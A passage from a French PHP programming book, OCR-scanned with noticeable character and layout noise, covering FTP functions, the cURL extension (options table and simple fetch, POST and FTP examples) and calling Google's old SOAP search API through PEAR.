$ f i chi erDi stant Fichier dont on veut connaitre la taille. 

retour Taille du fichier en octets, -1 si le fichier n'existe pas. 

Informations sur le serveur 



ftp_systype() 

Retourne le type du systeme d'exploitation du serveur FTP (UNIX par exemple). 

Syntaxe string ftp_systype (resource $idConnexion) 

$idConnexion Identifiant de connexion obtenu par f tp_connect ( ) . 

retour Le nom du systeme d'exploitation (attention, cela n'est absolument pas 

precis. Un serveur sous Linux renverra UNIX, mais cela permet de 
<g ^ differencier les systemes de fichiers de type UNIX et Windows.) 

§ £ s 
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16.5. cURL (client URL Library) 



La bibliotheque curl a ete developpee afin de permettre le developpement d'applications 
devant effectuer des operations sur le reseau. Elle est disponible sur de nombreux systemes : 
Linux, Windows, HPUnix, Solaris, Amiga, OS/2, MacOS X et d'autres encore. 

curl supporte differents protocoles parmi lesquels : 

FTP et FTPS ; 

HTTP et HTTPS ; 
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GOPHER ; 
TELNET ; 
■ LDAP(v2) ; 

Le transfert de fichiers. 

Vous pouvez retrouver tous les protocoles supportes par curl sur cette page : 
http://curl.haxx.se/docs/features.html. 

Elle gere les HTTP POST, HTTP PUT, l'upload de fichiers par FTP ou HTTP et passe les 
proxys. De plus, curl sait manipuler les cookies et effectuer l'authentification HTTP. 



Installation 



Installation sous Linux 

Si vous utilisez Linux, il est probable que vous ayez les librairies curl installees sur votre 
machine. Si ce n'est pas le cas, vous pouvez toujours les telecharger sur le site web a l'adresse 
http://curl.haxx.se/download.html (ou utiliser la version disponible sur le CD-ROM). 

Si vous souhaitez utiliser SSL, vous devrez egalement l'installer (ce qui est generalement deja 
fait par defaut). OpenSSL est disponible a l'adresse http://www.openssl.org/. Nous supposerons 
ici qu'il a ete installe sous /usr/local/ssl. 

Si vous avez recupere les sources de curl, commencez par decompresser l'archive en tapant : 

# tar -zxvf curl -7. 10. 7. tar. gz 

# cd curl 7.10.7 

Ensuite, compilez curl de la facon suivante : 

# ./configure --di sabl e-i pv6 --wi th-ssl =/usr/l ocal /ssl 

# make 

# make install 

Recompilez PHP en ajoutant l'option — with-curi=/usr/iocai/iib et puis relancez le 
serveur web. 



Verification 



Appelez un simple script contenant <?php phpinf o ( ) ; ?>, vous devriez avoir un resultat 
similaire a : 



curl 



CURL support 


enabled 


CURL Information 


libcurl 7 9 5 (OpenSSL lia..Bb) $pf& enabled) 



Figure 16.3 : 

Verifions que le module 
est active 



Nous pouvons a present nous concentrer sur la manipulation de ce module avec le langage PHP. 
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Utilisation 

Initialiser une session cURL 

Afin d'exploiter les differentes fonctions cURL, vous devez, dans un premier temps, creer une 
session avec l'instruction curl_init ( ) . 

curl_init() 

Initialise une session cURL. 

Syntaxe resource curl_init([string $adresse]) 

$adresse Adresse utilisee par les differentes fonctions cURL. Ce parametre est 

optionnel, et peut etre fixe ou modifie plus tard a l'aide de la fonction 

curl_setopt ( ) . 

retour Ressource vers la session cURL initialisee. 

Fermer une session cURL 

La fermeture de la session est realisee par l'appel a l'instruction curi_close ( ) . 

curl_close() 

Ferme une session cURL. 

Syntaxe void curl_close(resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par curl_init ( ) . 

Preparer une requete 

Avant d'effectuer votre requete, quelle qu'elle soit, vous devez specifier certaines options a 
PHP. Pour cela, vous utiliserez la fonction curi_setopt ( ) . 

curl_setopt() 

Permet de specifier les options necessaires a votre transfert cURL. 

Syntaxe boolean curl_setopt (resource $curlld, string $option, mixed 

$val eur) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_init ( ) . 
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$opti on Option a modifier. Voyez le tableau ci-apres pour connaitre les differents 

parametres configurables. 

$val eur Nouvelle valeur a donner a l'option. 

retour TRUE si la modification de l'option a ere effectuee avec succes, FALSE 

dans le cas contraire. 



Tableau 16.1 : Les differentes options configurables avec ('instruction curl_setopt() 



Option 




Description 


CURLOPT_ 


_COOKIEJAR 


Indique a PHP/cURL le fichier ou doivent etre stockes les 
differents cookies. 


CURLOPT_ 


_COOKIEFILE 


Indique le fichier contenant les differents cookies et leurs 
valeurs. Le fichier peut etre dans meme format que celui d'un 
en-tete HTTP : 

Set-Cookie : cookiel=premier+cookie 
Set-Cookie : cookie2=deuxieme+cookie 
Set-Cookie : cookie3 =troisieme+cookie 
Set-Cookie : cookie4=quatrieme+cookie 


CURLOPT_ 


_CUSTOMREQUEST 


Permet d'indiquer une methode particuliere a envoyer au 
serveur : PUT, DELETE, etc. 


CURLOPT_ 


_FAILONERROR 


Indique a PHP/cURL de retourner les erreurs HTTP 300 et plus. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, cette option est desactivee. 


CURLOPT_ 


_FILE 


Specifie le pointeur du fichier devant contenir les donnees de 
votre transfert. Ce fichier doit avoir ete ouvert en ecriture par 
I'instruction fopen( ) . 


CURLOPT_ 


_FOLLOWLOCATION 


Indique a PHP/cURL de suivre toutes les redirections HTTP 
envoyees par le serveur distant. Pour activer cette option vous 
devez indiquer true (ou false sinon). Par defaut, l'option 
est activee. 


CURLOPT_ 


_FTPAPPEND 


Indique a PHP/cURL de ne pas ecraser les fichiers distants. A 
la place, le contenu du fichier est ajoute a la suite de celui 
existant. Pour activer cette option vous devez indiquer true 
(ou false sinon). 


CURLOPT_ 


_FTPLISTONLY 


Indique a PHP/cURL de n'effectuer qu'un listing des noms des 
fichiers sur un serveur FTP. Pour activer cette option, vous 
devez indiquer true (ou false sinon). Par defaut PHP 
retourne la liste complete des fichiers. 


CURLOPT_ 


_FTPPORT 


Specifie au serveur distant I'adresse utilisee par PHP/cURL 
pour la connexion par FTP. Cette adresse est indiquee lors 
d'une connexion par FTP par la commande "PORT" envoyee au 
serveur. 


CURLOPT_ 


_HEADER 


Indique a PHP/cURL de retourner I'en-tete dans la reponse. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, PHP renvoie uniquement le corps 
du document. 
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Option 




Description 


CURLOPT_ 


.INFILE 


Specifie le pointeur de fichier contenant les donnees que vous 
expediez lors d'un transfert. Ce fichier doit avoir ete ouvert en 
lecture par I'instruction f open ( ) . 


CURLOPT_ 


.INFILESIZE 


Cette option sert a fixer la taille maximale des donnees a 
transmettre a un serveur distant. 


CURLOPT_ 


_LOW_SPEED_LIMIT 


Indique le nombre d'octets par secondes qui doivent circuler de 
fagon a valider I'action de cURL. Si la Vitesse indiquee n'est 
pas atteinte, PHP annulera I'execution de I'action. Cette Vitesse 
est calculee pendant une duree fixee par 

CURLOPT_LOW_SPEED_TIME. 


CURLOPT 


LOW SPEED TIME 


Indique le temps en secondes qui est considere pour verifier le 
taux de transfert fixe par I'option 

CURLOPT_LOW_SPEED_LIMIT. 


CURLOPT_ 


.MUTE 


Indique a PHP/cURL de ne pas retourner les messages 
retournes par les differentes actions de cURL. Pour activer 
cette option, vous devez indiquer true (ou false sinon). 


CURLOPT. 


.NETRC 


Indique a PHP/cURL d'utiliser le compte utilisateur et le mot de 
passe de I'utilisateur courant (tel que defini dans le fichier Jnetrc 
sous Linux) pour effectuer la connexion a distance. Pour activer 
cette option, vous devez indiquer true (ou false sinon). 


CURLOPT 


NOBODY 


Indique a PHP/cURL de ne pas retourner le corps du document. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). Par defaut, I'option est desactivee. 


CURLOPT. 


.NOPROGRESS 


Indique a PHP/cURL de retourner I'etat des transferts avec le 
serveur distant. Pour activer cette option, vous devez indiquer 
true (ou false sinon). Par defaut, I'option est desactivee. 


CURLOPT. 


.POST 


Indique a PHP/cURL de preparer une action de type HTTP 
POST (identique a I'envoie d'un formulaire HTML par methode 
POST). Pour activer cette option, vous devez indiquer true 
(ou false sinon). 


CURLOPT. 


.POSTFIELDS 


Indique a PHP/cURL les differentes donnees a passer lors d'un 
transfert HTTP par methode POST. La chafne doit etre passee 
dans ce format : 

varl=valeurl&var2=valeur2&var (n) =valeur (n) 


CURLOPT 


PROXYUSERPWD 


Nom de I'utilisateur et mot de passe a utiliser lors de la 
connexion a un proxy HTTP. La chaTne indiquee est de la forme 

nomUtilisateur : motPasse. 


CURLOPT. 


.PUT 


Indique a PHP/cURL de preparer une action HTTP de type PUT. 
Pour activer cette option, vous devez indiquer true (ou 
false sinon). 


CURLOPT. 


.RANGE 


Permet de specifier la plage de valeurs desiree. Vous devez la 
specifier de la fagon suivante : vali-val2. Vous pouvez 
preciser plusieurs plages differentes en les separant par une 
virgule de la fagon suivante : vali-val2, vai3-vai4. 
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Option 




Description 


CURLOPT_ 


.REFERER 


Permet de specifier I'en-tete REFERER envoyee lors d'une 
requete au serveur distant. 


CURLOPT_ 


_RESUME_FROM 


Indique a PHP/cURL le debut du transfert. La valeur est fixee en 
octets. 


CURLOPT_ 


.RETURNTRANSFER 


Option permettant de recuperer le resultat dans une variable a 
I'execution de la session : $resuitat = 
curi_exec ( $curiid) . Pour activer cette option, vous 
devez indiquer true (ou false sinon). Par defaut, la 
fonction curi_exec ( ) retourne un booleen. 


CURLOPT_ 


.SSLCERT 


Indique le fichier contenant le certificat SSL a passer au 
serveur. Ce certificat doit etre au format PEM. 


CURLOPT_ 


.SSLCERTPASSWD 


Indique le mot de passe utilise avec le certificat specifie par 

I'option CURLOPT_SSLCERT. 


CURLOPT 


SSLVERSION 


Indique la version de SSL utilisee pour les operations avec 
cURL. La valeur peut etre de 2 ou 3. Par defaut, PHP la 
determinera automatiquement. 


CURLOPT_ 


.STDERR 


Specifie le pointeur du fichier devant contenir les erreurs 
pouvant survenir lors d'un transfert. Ce fichier doit avoir ete 
ouvert en ecriture par I'instruction f open ( ) . 


CURLOPT. 


.TIMECONDITION 


Indique a PHP/cURL comment utiliser I'option 
curlopt timevalue. Les valeurs possibles sont 

TIMECOND_IFMODSINCE OU 

timecond_isunmodsince. Par defaut, I'option est a 

TIMECOND_I FMODS INCE . 


CURLOPT. 


.TIMEOUT 


Indique, en secondes, le temps maximum accorde a I'execution 
d'une action par cURL. 


CURLOPT. 


.TIMEVALUE 


Temps en secondes depuis le 1 er janvier 1970. 


CURLOPT 


UPLOAD 


Indique a PHP/cURL de preparer un transfert de fichier. Pour 
activer cette option, vous devez indiquer true (ou false 
sinon). 


CURLOPT. 


_URL 


URL indiquant a PHP/cURL la page et le serveur distant. Cette 
URL designe la page qui doit etre recuperee. Cette option peut 
etre fixee des I'appel a I'instruction curi_init ( ) . 


CURLOPT. 


.USERAGENT 


Permet de specifier I'en-tete USER-AGENT envoye lors d'une 
requete au serveur distant. 


CURLOPT 


USERPWD 


Norn de I'utilisateur et mot de passe de I'utilisateur qui doivent 
etre utilises lors de la connexion distante. La chame indiquee 

est de la forme nomUtilisateur :motPasse. 


CURLOPT. 


.VERBOSE 


Indique a PHP/cURL d'afficher tous les evenements. Pour 
activer cette option, vous devez indiquer true (ou false 
sinon). 
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Option 


Description 


CURLOPT_WRITEHEADER 


Specifie le pointeur du fichier devant contenir I'en-tete de sortie 
de votre transfert. Ce fichier doit avoir ete ouvert en ecriture par 
I'instruction fopen( ) . 



v " De nombreiix parametres ont un lien etroit avec les en-tetes HTTP ; n'hesitez pas a 

consulter I 'annexe "Les en-tetes" pour plus d' informations. 
RENVOI 

Recuperer les informations d'une option 

II est possible de recuperer les valeurs que contient une option en utilisant la fonction 

curl_getinf o ( ) . 




curl_getinfo() 

Retourne la valeur d'une option. 

Syntaxe string curl_getinfo(resource $curlld, int $option) 

$curl Id Pointeur sur la ressourcetel que retourne par cur l_in.it ( ) . 

$ o p t i o n Option a recuperer. 

retour Chaine de caracteres indiquant la valeur de l'option qui y est associee. 

Executer une session 

Afin d'executer la session, il faut appeler la fonction curl_exec ( ) . 
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curl_exec() 

Execute une session cURL. 



S, co 5c Syntaxe mixed curl_exec (resource $curlld) 

_ ~ O 

— i _ 60 $curlld Pointeur sur la ressourcetel que retourne par cur l_init () . 

to 3 

i- ■ £ retour Par defaut, l'execution de la fonction retourne TRUE si 1'execution de la 

session a ete realisee avec succes, FALSE dans le cas contraire. Suivant 
l'activation de certaines options, I'instruction peut retourner un entier ou 
une chaine de caracteres. Ainsi, l'option CURLO PT_RETURNTRANS FER 
indique a PHP de retourner le resultat plutot que de l'afficher sur la sortie 
standard. 
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Gestion des erreurs 

La gestion des erreurs est realisee par l'appel a deux instructions : curl_errno ( ) et 

curl_error ( ) . 

La fonction curi_errno ( ) retourne le numero du code de l'erreur. 



curl_errno() 

Permet de recuperer le code de la derniere erreur rencontree pour une session cURL. 
Syntaxe int curl_errno(resource $curlld) 

$curl Id Pointeursur la ressourcetel que retourne par cur l_init ( ) . 

retour Code de l'erreur cURL. 

La fonction curl_error ( ) permet de recuperer l'erreur dans une chaine de caracteres. 

curl_error() 

Retourne le dernier message d'erreur rencontre dans une session cURL. 
Syntaxe string curl_error (resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par curl_init ( ) . 

retour Message d'erreur cURL. 

Verifier la version de cURL 

L'instruction curl_version ( ) permet de recuperer la version de votre librairie curl. 



curl_version() 

Retourne la version de la bibliotheque curl. 
Syntaxe string curl_version(void) 

retour Chaine de caracteres indiquant la version de la bibliotheque installee sur le 

systeme. 

Exemples ^applications 

A present, nous allons voir differents exemples d'utilisation des fonctions cURL. Ce sont des 
exemples simples, qui n'ont d'autre but que de vous montrer les diverses possibilites de ce 
module. 
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Afflcher le contenu d'une page web distante 

Voici l'utilisation la plus simple des fonctions cURL. Le script va chercher la page sur un 
serveur distant et l'affiche sur le navigateur web. 

Listing 16.3 : exemplel.php 

<?php 

$curlld = curl_init ("http://www.l i nux.org/") ; 
curl_exec($curl Id) ; 
curl_close($curl Id) ; 

?> 



Recuperer le contenu d'une page dans un fichier 

Cet exemple est une variation du precedent. Cette fois, nous specifions simplement un fichier 
de sortie, ce qui permet de recuperer le code HTML de la page plutot que de l'afficher 
directement. 



Listing 16.4 : exemple2.php 

<?php 

// Ouverture d'un fichier en ecriture 
$fp = fopen ("linux.html", "w"); 

// Creation de la session cURL 

$curlld = curl_init ("http://www.l i nux.org/") ; 

// Fichier de sortie 

curl_setopt($curlId, CURLOPT_FILE, $fp) ; 

// Execution de la session 
curl_exec($curl Id) ; 

// Fermeture de la session 
curl_close($curl Id) ; 
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// Fermeture du fichier 
fclose($fp); 



.2 ^ u // On verifie en affi chant ensuite le fichier 

g 31 o." readfile("linux.html"); 



Envoyer des donnees par methode POST 

L'exemple suivant montre comment cURL peut envoyer des donnees par une methode post, 
cet envoi etant alors identique a celui depuis un formulaire HTML. 
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Listing 16.5 : exemple3.php 

<?php 

// Creation de la session cURL 

$curl Id = curl_init("http://www. monserveur.com/formulaire.php") ; 
// Le serveur demande une authenti fi cati on 

curl_setopt($curl Id, CURLOPT_USERPWD, "uti 1 isateur:mot2passe") ; 
// Methode POST 

curl_setopt($curlId, CURLOPT_POST, TRUE); 
$post = "nom=GUEDON" . 

"&prenom=Laurent" . 

"&mai 1 =1 aurent@ti 1 d . com" . 

"&action=val i der" ; 
curl_setopt($curlId, CURLOPT_POSTFIELDS, $post); 

// Indiquons egalement differents cookies 

$cookies = "cookiel=premier cookie;cookie2=deuxieme cookie"; 

curl_setopt($curl Id, CURLOPT_COOKIE, $cookies); 

// Execution de la session 
curl_exec($curl Id) ; 

// Fermeture de la session 
curl_cl ose($curl Id) ; 

?> 



Lister le contenu d'un repertoire FTP 

Cet exemple liste les noms des fichiers se trouvant dans un repertoire. Le script recupere les 
differents fichiers dans une variable et les affiche ensuite en ajoutant la balise <br> entre les 
differents sauts de lignes. 

Listing 16.6 : exemple4.php 

<?php 

// Creation de la session cURL 

$curlld = curl_init("ftp://www. monsite.org/repertoi re/") ; 

// Indiquons le login et le mot de passe de la connexion 
curl_setopt($curl Id, CURLOPT_USERPWD, "uti 1 isateur:mot2passe") ; 

// Indiquons de retourner la sortie dans une variable 
curl_setopt($curlId, CURLOPT_RETURNTRANSFER, TRUE); 

// On demande d'afficher uniquement les noms des fichiers 
curl_setopt($curlId, CURLOPT_FTPLISTONLY, TRUE); 

// Execution de la session 
$retour = curl_exec ($curl Id) ; 
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// Affichons le resultat 
echo nl2br($retour) ; 

// Fermeture de la session 
curl_close($curl Id) ; 

?> 



Envoyer un fichier sur un serveur FTP 

Cet exemple montre de facon simple comment envoyer un fichier sur un serveur FTP. 

Listing 16.7 : exemple5.php 

<?php 

// Ouverture d'un fichier en lecture 
$fp = fopen("monfichier.html ", "r"); 

// Creation de la session cURL 

$curl Id = curl_init("ftp://ftp. monserveur.com/html /monfichier.html ") ; 

// Indiquons le login et le mot de passe de la connexion 
curl_setopt($curl Id, CURLOPT_USERPWD, "uti 1 i sateur:mot2passe") ; 

// Preparation d'un Upload de fichier 
curl_setopt($curlId, CURLOPT_UPLOAD, TRUE); 

// Taille du fichier a envoyer 

curl_setopt($curlId, CURLOPT_INFI LESIZE, filesizeCmonfichier.html ")); 
// Fichier a envoyer 

curl_setopt($curlId, CURLOPT_INFILE, $fp) ; 

// Indiquons 1'adresse "PORT" du client 
curl_setopt($curlId, CURLOPT_FTPPORT, "-"); 

// Execution de la session 

if (!$donnee = curl_exec($curl Id)) 




// Execution de la session 
curl_exec($curl Id) ; 



} else { 



die("Probleme lors de 1'envoie du fichier\n". 
curl_error($curl Id) ) ; 



echo "Le fichier a ete envoye sur le serveur. 



// Fermeture de la session 
curl_close($curl Id) ; 
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// Fermeture du fichier 
fclose($fp); 

?> 



16.6. SOAP 



SOAP (Simple Object Access Protocol) permet d'envoyer des messages XML a des serveurs, 
en utilisant HTTP comme moyen de communication. 

Depuis peii, le celebre moteur de recherche Google permet gratuitement de faire une requete 
sous forme XML via SOAP, et de recuperer le resultat de la requete. Ce sera le sujet de notre 
exemple. 

Un message SOAP est generalement constitue d'un en-tete et d'un corps. 

L'exemple que nous decrivons un peu plus loin dans ce chapitre donne lieu a la creation du 
message SOAP suivant, que Ton appelle une enveloppe : 

<?xml version="1.0" encoding="UTF-8"?> 

<S0AP-ENV: Envel ope xml ns :SOAP-ENV="http://schemas .xml soap.org/soap/envel ope/" 
xml ns:xsd="http:/ /www. w3.org/2001/XMLSchema" 
xml ns :xsi = " http://www.w3. org/2001/XMLSchema-i nstance" 
xml ns: SOAP- ENC=" http://schemas.xml soap.org/soap/encoding/" 
xml ns : ns4="urn : Googl eSearch" 

SOAP- ENV:encodingStyle=" http://schemas.xml soap.org/soap/encoding/"> 
<SOAP-ENV:Body> 



<ns4:doGoogl eSearch> 



<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
</SOAP-ENV:Body> 
</S0AP-ENV:Envelope> 



xsd:stri ng">M41 iC3nceS3cr3tE</i tem> 
xsd:string">mai 1 site: www. toutestfacile.com</item> 
xsd:int">0</item> 
xsd:int">5</item> 
xsd : bool ean">true</i tem> 
xsd : stri ng"x/i tem> 
xsd : bool ean">true</i tem> 
xsd : stri ng ">1 ang_f r 1 1 ang_en</i tem> 
xsd: stri ng">l ati nl</i tem> 

xsd: stri ng">l ati nl</i temx/ns4: doGoogl eSearch> 



Dans l'exemple precedent, nous retrouvons, dans le corps de 1'enveloppe, les informations 
pertinentes pour la fonction doGoogleSearch du serveur SOAP de Google. 

Les fichiers WSDL (Web Service Definition Language) permettent de definir un service web ; 
ils sont ecrits au format XML. A partir de ces fichiers, il est possible de savoir ce qu'attendent 
les services web comme parametres. Voici, par exemple, un extrait du fichier WSL decrivant le 
service doGoogleSearch propose par Google : 



g° ST 
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<?xml version="1.0"?> 
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<!-- WSDL description of the Google Web APIs. 

The Google Web APIs are in beta release. All interfaces are subject to 
change as we refine and extend our APIs. Please see the terms of use 
for more information. --> 

<def i ni tions name="urn :Googl eSearch" 

targetNamespace="urn :Googl eSearch" 

xml ns : typens="urn:Googl eSearch" 

xmlns:xsd= "http://www.w3.org/2001/XMLSchema" 

xml ns : soap="http://schemas .xml soap.org/wsdl /soap/" 

xml ns : soapenc="http://schemas .xml soap.org/soap/encodi ng/" 

xml ns :wsdl ="http://schemas .xml soap.org/wsdl /" 

xml ns="http://schemas .xml soap.org/wsdl /"> 

<!-- Types for search - result elements, directory categories --> 

<types> 

<xsd: schema xml ns=" http://www.w3.org/2001/XMLSchema" 
target Namespace=" urn :Googl eSearch "> 

<xsd : compl exType name="Googl eSearchResul t"> 
<xsd:all> 

<xsd : el ement name=" document Fi 1 teri ng" 

type="xsd:boolean"/> 
<xsd:el ement name="searchComments" 

type="xsd:string"/> 
<xsd:el ement name="estimatedTotal Resul tsCount" 

type="xsd:int"/> 
<xsd:el ement name="estimatels Exact" 

type="xsd:boolean"/> 
<xsd : el ement name=" resul tEl ement s " 

type="typens : Resul tEl ementArray"/> 
<xsd:el ement name="searchQuery" 

type="xsd:string"/> 
<xsd:element name="startlndex" 

type="xsd:int"/> 
<xsd:element name="endlndex" 

type="xsd:int"/> 
<xsd:element name="searchTi ps" 
<g ^ type="xsd:string"/> 

■D ^ 
Q- 



<xsd : el ement name="di rectoryCategori es " 
o P type="typens:DirectoryCategoryArray"/> 

<xsd:element name="searchTime" 



<C type="xsd:double"/> 



2 ° § </xsd:all> 
to 3 </xsd: compl exType> 



<xsd: compl exType name=" Resul tEl ement "> 
<xsd:all> 

<xsd:element name=" summary" type="xsd:string"/> 
<xsd:element name="URL" type="xsd:string"/> 
<xsd:element name="sni ppet" type="xsd:string"/> 
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<xsd: element name="title" type="xsd:string"/> 

<xsd: element name="cachedSize" type="xsd:string"/> 

<xsd:el ement name="rel atedlnformationPresent" type="xsd: bool ean"/> 

<xsd:element name="hostName" type="xsd:string"/> 

<xsd :el ement name="di rectoryCategory " 

type="typens : Di rectoryCategory "/> 
<xsd:element name="directoryTitle" type="xsd:string"/> 
</xsd:al 1> 
</xsd : compl exType> 



<xsd : compl exType name="Resul tEl ement Array "> 
<xsd : compl exContent> 
<xsd:restri ction base="soapenc: Array "> 
<xsd : attri bute ref =" soapenc : array Type" 

wsdl :arrayType="typens : Resul tEl ement [] "/> 
</xsd:restriction> 
</xsd : compl exContent> 
</xsd : compl exType> 

<xsd: compl exType name="Di rectoryCategoryArray"> 
<xsd : compl exContent> 
<xsd: restriction base= "soapenc: Array "> 
<xsd : attri bute ref =" soapenc : array Type" 

wsdl :arrayType="typens:Di rectoryCategory [] "/> 
</xsd:restriction> 
</xsd : compl exContent> 
</xsd : compl exType> 



<xsd: compl exType name="Di rectoryCategory "> 
<xsd:al 1> 

<xsd:element name="fullViewableName" type="xsd:string"/> 
<xsd:element name="speci al Encodi ng" type="xsd:string"/> 
</xsd:al 1> 
</xsd : compl exType> 

</xsd:schema> 
</types> 



<!-- Messages for Google Web APIs - cached page, search, spelling. --> 



<message name : 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 
<part name= 



: "doGoogl eSearch"> 

'key" type= 

'q" type= 

'start" type= 

'maxResults" type= 

'filter" type= 

'restrict" type= 

'safeSearch" type= 

'lr" type= 

'ie" type= 

'oe" type= 



"xsd:string"/> 

"xsd:string"/> 

"xsd:int"/> 

"xsd:int"/> 

"xsd:boolean"/> 

"xsd:string"/> 

"xsd:boolean"/> 

"xsd:string"/> 

"xsd:string"/> 

"xsd:string"/> 
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</message> 

<message name="doGoogl eSearchResponse"> 

<part name=" return" type="typens:GoogleSearchResult"/> 
</message> 

<!-- Port for Google Web APIs, "Googl eSearch" --> 
<portType name="Googl eSearchPort"> 
<operation name="doGoogl eSearch"> 
<i nput message="typens : doGoogl eSearch"/> 
<output message="typens: doGoogl eSearchResponse"/> 
</operation> 
</portType> 

<!-- Binding for Google Web APIs - RPC, SOAP over HTTP --> 

<bi ndi ng name="Googl eSearchBi ndi ng" type="typens :Googl eSearchPort"> 
<soap:binding style="rpc" 

transport="http:/ /schemas.xml soap.org/soap/http"/> 
<operation name=" doGoogl eSearch"> 
<soap : operati on soapAct i on= "urn : Googl eSearchActi on "/> 
<input> 
<soap:body use="encoded" 

namespace="urn :Googl eSearch" 

encodi ngStyl e="http://schemas .xml soap.org/soap/encoding/"/> 

</input> 
<output> 
<soap:body use="encoded" 

namespace="urn :Googl eSearch" 

encodi ngStyl e="http://schemas .xml soap.org/soap/encoding/"/> 

</output> 
</operation> 
</binding> 

<!-- Endpoint for Google Web APIs --> 
<servi ce name=" Googl eSearchServi ce"> 

<port name= "Googl eSearch Port" binding="typens: Googl eSearchBi nding"> 
<soap: address 1 ocation="http://api .googl e. com/search/bet a2"/> 

</port> 
</service> 

</definitions> 

Ce fichier, tel qu'il est ecrit, se lit de bas en haut. Tout en bas, nous trouvons l'adresse du service 

web: http://api.google.com/search/beta2 puis, au dessus, dans la balise <binding>, 

nous trouvons les differents services (ici, il n'y a que doGoogleSearch) ou 1'entree et la sortie 
sont definies. 

Dans la declaration de la balise <binding>, le lien est fait vers le type GoogleSearchPort. On 
retrouve un peu plus haut ce type, qui definit les types d'entrees et de sorties. Les entrees seront 
done de type doGoogleSearch et les sorties de type doGoogleSearchResponse. 

Les types doGoogleSearch et doGoogleSearchResponse sont decrits plus haut dans le fichier. 
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Installation 

SOAP fait partie du projet PEAR. II depend des paquetages PEAR suivants: Mail_Mime, 
NetJJRL, Net_Socket, HTTP_Request, Net_DIME. Pour les installer vous pouvez, au choix, 
telecharger le fichier correspondant a l'adresse http://pear.php.net/packages.html et le dezipper 
dans un espace quelconque defini dans la variable include _path du fichier php.ini, ou bien vous 
pouvez utiliser les commandes PEAR. Notez toutefois, que pour les paquetages SOAP et 
NetJDIME qui n'ont pas encore le statut "stable" vous serez oblige de les telecharger avant de 
les installer avec les commandes Pear. 

# pear upgrade Mail_Mime 

# pear upgrade NetJJRL 

# pear upgrade Net_Socket 

# pear upgrade HTTP_Request 

# pear install Net_DIME.tar.gz 

# pear install SOAP. tar. gz 



vdV PHP5 

SOAP PEAR n'est (a I'heure de I'ecriture de ces lignes) pas compatible avec PHP 5 

REMARQJE (ceci a cause d'une mauvaise redefinition de la methode call dans la classe 

SOAP_ciient). Si vous vous sentez d'attaque vous pouvez tenter de le faire 
fonctionner sous PHP 5 en remplacant la declaration de la methode call par: 

function cal 1 ($method, $args) 

et en remplacant return true,- par 

return $this->cal 1 ($method, $args); 

// n'est toutefois pas assure que cela suffise pour un fonctionnement parfait. 



Utiliser les classes PEAR 

PEAR produit des classes pour les clients et serveurs SOAP, ainsi que des classes pour faire 
l'analyse lexicale d'un message SOAP, ou encore une classe qui permet de replacer le protocole 
standard HTTP (par la possibility d'analyser le contenu d'un e-mail et de faire les appels 
contenus a l'interieur de celui-ci). 

Mais revenons a la classe a priori la plus utile : la classe S0AP_ciient qui permet de faire appel 
a un serveur SOAP. 

Le constructeur de cette classe necessitera l'adresse du serveur SOAP. 



SOAP_Client() 

Constructeur d'objets SOAP_Client. 

Syntaxe SOAP_client S0AP_cl ient (String $url [, boolean $wsdl [, string 

$nomPort]] ) 
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$url URL du serveur SOAP. 

$wsdl TRUE si l'URL est celle d'un fichier WSDL. 

$nomPort Nom du port SOAP utilise par le client, 

retour Un objet de type SOAP_Client. 



SOAP_Client->setEncoding() 



Definit l'encodage des messages. 

Syntaxe mixed setEncodi ng (stri ng $encodage) 

$encodage 'UTF-8', 'US_ASCII' ou 'ISO-8859-1' 

retour NULL, ou une erreur de type SOAP_Fault. 



SOAP_Client->addHeader() 

Pour ajouter des en-tetes a l'enveloppe SOAP. 

Syntaxe void addHeader (SOAP_Header $entete) 

$entete En-tete a ajouter de type SOAP_Header. 



SOAP_Client->call() 



a. 
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Permet de faire un appel au serveur SOAP. 

Syntaxe array call (string $methode, array $parametres [, string 

$espaceNom, [string $actionSoap]]) 

$methode Nom de la methode a appeler. 

$parametres Tableau des parametres a passer. 

retour Tableau des resultats. 



Interroger Google via PHP 



Depuis debut 2002, Google met a disposition un serveur SOAP permettant de faire des 
recherches dynamiquement. Attention, TAPI fournie permettant d'interroger le moteur de 
recherche est susceptible d'etre modifiee. Pire, ce service pourrait etre supprime du jour au 
lendemain. 
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Pre-requis 

Pour pouvoir utiliser le serveur SOAP de Google, vous devrez recuperer un numero de licence 
sur le site web de Google en creant un nouveau compte. Ce numero de licence vous permettra 
de faire jusqu'a 1 000 requetes par jour. 




Nouveau compte 

Pour creer un compte sur Google, Vadresse est : 



INTERNET https://www.google.com/accounts/NewAccount?continue=http://api.google.coml 
createkey &followup=http://api.google.com/createkey. 

Vous serez egalement interesse par le telechargement de 1'API, car c'est elle qui vous dira 
comment effectuer vos requetes. 

£jk Telecharger I 'API 

Pour telecharger I'API de Google, Vadresse est : 
INTERNET http://www.google.com/apis/download.html. 

Notre premier script sera tres simple : il permet de faire une recherche avec des mots-cles 
integres dans le script. Les resultats seront affiches sans mise en page, mais juste a l'aide de la 

fonction print_r ( ) . 

Listing 16.8 : soapgoogle.php 

<?php 

// On utilisera les classes de projet PEAR 
requi re_once "S0AP/C1 i ent.php" ; 

//On place ici le numero de licence obtenu sur le site de Google 
$numeroLicence = "MA_LICENCE, CETTE_CHAINE_DOIT_ETRE_REMPLACEE" ; 
// Les mots cles sont stockes dans le script ici. 
$motsCles = "Apprendre PHP facilement"; 
// Creation du client SOAP et declaration du serveur SOAP. 
$soapClient = new S0AP_C1 i ent ("http://api .googl e.com/search/beta2") ; 
// Les parametres a passer tels que decrits dans 1 'API de Google 
// (licence, 
// motscles, 

// indice du premier resultat a retourner, 
// nombre de resultats a retourner, 

// utilisation ou non du filtre cachant les resultats simil aires, 
// restrictions a un pays ou domaine..., 
// filtrage des sites pour adultes, 
// Restriction sur la langue, 
// encodage d 1 entree, 
// encodage de sortie) 

$recherche = array($numeroLicence, $motsCles, 0, 1, TRUE, "", 

TRUE, "", "", ""); 
// Appel a la methode "doGoogl eSearch" du serveur SOAP, 
